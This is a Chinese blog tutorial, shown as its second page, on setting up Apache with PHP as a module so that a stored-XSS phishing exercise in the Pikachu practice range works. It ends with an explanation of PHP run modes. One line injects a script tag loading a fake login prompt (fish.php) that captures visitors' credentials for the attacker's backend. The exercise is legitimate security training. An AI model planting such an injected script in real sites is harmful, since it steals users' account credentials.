Pikachu靶场系列之XSS钓鱼攻击与PHP中的HTTP认证

来源:岁月联盟 编辑:猪蛋儿 时间:2020-03-16
这里可以看到根本没有$_SERVER['PHP_AUTH_USER']和$_SERVER['PHP_AUTH_PW']这2个变量。经过搜索找到了原因:PHP的HTTP认证机制仅在PHP以Apache模块方式运行时才有效,因此该功能不适用于CGI版本。通过phpinfo()页面可以看到Server API为CGI/FastCGI。

重新部署环境
所以现在可以知道,只需将PHP以模块模式运行即可使HTTP认证机制生效。而phpStudy默认是以CGI/FastCGI模式运行,如果想以模块方式运行,则需要收到安装Apache和对应版本的PHP。
安装Apache
首先下载Apache。Apache要在VC运行库里运行,如果没有VC库也可以在该页面下载对应的VC14或VC15
下载完成后解压到指定目录,打开Apache24/conf/httpd.conf文件,找到Define SRVROOT,将/Apache24修改为解压目录,如这里解压在G:/Apache24目录
 Define SRVROOT "G:/Apache24"
然后使用管理员权限打开CMD,执行以下命令
 G:/Apache24/bin/httpd.exe -k install -n apache
进入bin目录,运行ApacheMonitor.exe。在托盘处左键点击Apache小图标,选择start,然后访问localhost测试
配置PHP
关于PHP的版本选择需要注意以下几点
VC版本:以模块模式运行,需要VC版本库一致,前面Apache是VC15,所以PHP也要选择VC15。并且如果电脑上没有VC15运行库,需要另外安装。
TS/NTS:TS是指具有多线程功能的构建,NTS仅指单线程构建。NTS一般适用于CGI/FastCGI,因此这里需要选择TS版
x86/x64:前面Apache是x86,尽量选择一致的,避免各种不兼容。所以选择x86
总结:如果你的Apache版本和我的一样:httpd-2.4.41-o111c-x86-vc15-r2,那么PHP请选择:php-7.x.x-Win32-vc15-x86.zip
下载PHP并解压
打开Apache的httpd.conf文件,在最后面增加配置
 # 此处修改为你的PHP目录 LoadModule php7_module G:/php/php7apache2_4.dll PHPIniDir G:/php AddType application/x-httpd-php .php
重启Apache,并Apache安装目录下的htdocs目录新建一个test.php,写入以下内容:
  phpinfo(); ?>
最后通过浏览器访问:[http://localhost/test.php](http://localhost/test.php),可以看到Server API为Apache 2.0 Handler

复现钓鱼攻击
先把PHP安装目录下的php.ini-production文件复制一份并重命名为php.ini,然后打开
找到extension = mysqli,将前面;去掉
找到extension_dir = "ext",将前面;去掉,并修改为PHP路径下的ext
 extension_dir = "G:/php/ext"
将Pikachu靶场复制到htdocs目录下,并开启MySQL。这里使用的是phpStudy环境,由于Apache已经另外安装并开启了,因此这里只需要单独启动MySQL即可

浏览器访问:http://127.0.0.1/pikachu/vul/xss/xss_stored.php,插入恶意代码
 script src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php">script>
另开一个浏览器,模拟普通用户访问http://127.0.0.1/pikachu/vul/xss/xss_stored.php,弹框输入账号密码,输入后点击确定

此时,黑客可从后台看到账号密码。至此,整个实验终于结束了

总结
PHP运行模式
这里说明一下PHP的运行模式,共有4种:
CGI协议模式:该模式允许web服务器通过特定的协议与应用程序通信。由于每次用户请求都得fork创建进程调用一次程序,然后销毁进程,所以性能较低,调用原理大概为:
用户请求
Web服务器接收请求
fork子进程调用程序/执行程序
程序返回内容/程序调用结束
Web服务器接收内容
返回给用户
Fast-CGI协议模式:CGI协议模式升级版。它像是一个常驻型CGI,只要开启就可一直处理请求,不再需要结束进程。调用原理大概为:
Web服务器Fast-CGI进程管理器初始化
预先fork n个进程用户请求
Web服务器接收请求
交给Fast-CGI进程管理器
Fast-CGI进程管理区接收,给其中一个空闲Fast-CGI进程处理
处理完成,Fast-CGI进程变为空闲状态,等待下次请求
web服务器接收内容
返回给用户
Apache 2.0 Handler模块模式:Apache+PHP运行时,默认使用的是模块模式,它把PHP作为Apache的模块随Apache启动而启动,PHP进程和Apache进程合一块。接收到用户请求时则直接通过调用mod_php模块进行处理。 模块模式是以mod_php5模块的形式集成,此时mod_php5模块的作用是接收Apache传递过来的PHP文件请求,并处理这些请求,然后将处理后的结果返回给Apache。如果我们在Apache启动前在其配置文件中配置好了PHP模块(mod_php5),PHP模块通过注册Apache2的ap_hook_post_config挂钩,在Apache启动的时候启动此模块以接受PHP文件的请求
PHP-Cli模式:命令行模式。该模式不需要借助其他程序,直接输入php xx.php就能执行PHP代码,命令行模式和常规web模式明显不一样有以下几点
没有超时时间
默认关闭Buffer缓冲
STDIN和STDOUT标准输入/输出/错误的使用
echo、var_dump、phpinfo等输出直接输出到控制台
可使用的类/函数 不同
php.ini配置的不同
 

上一页  [1] [2]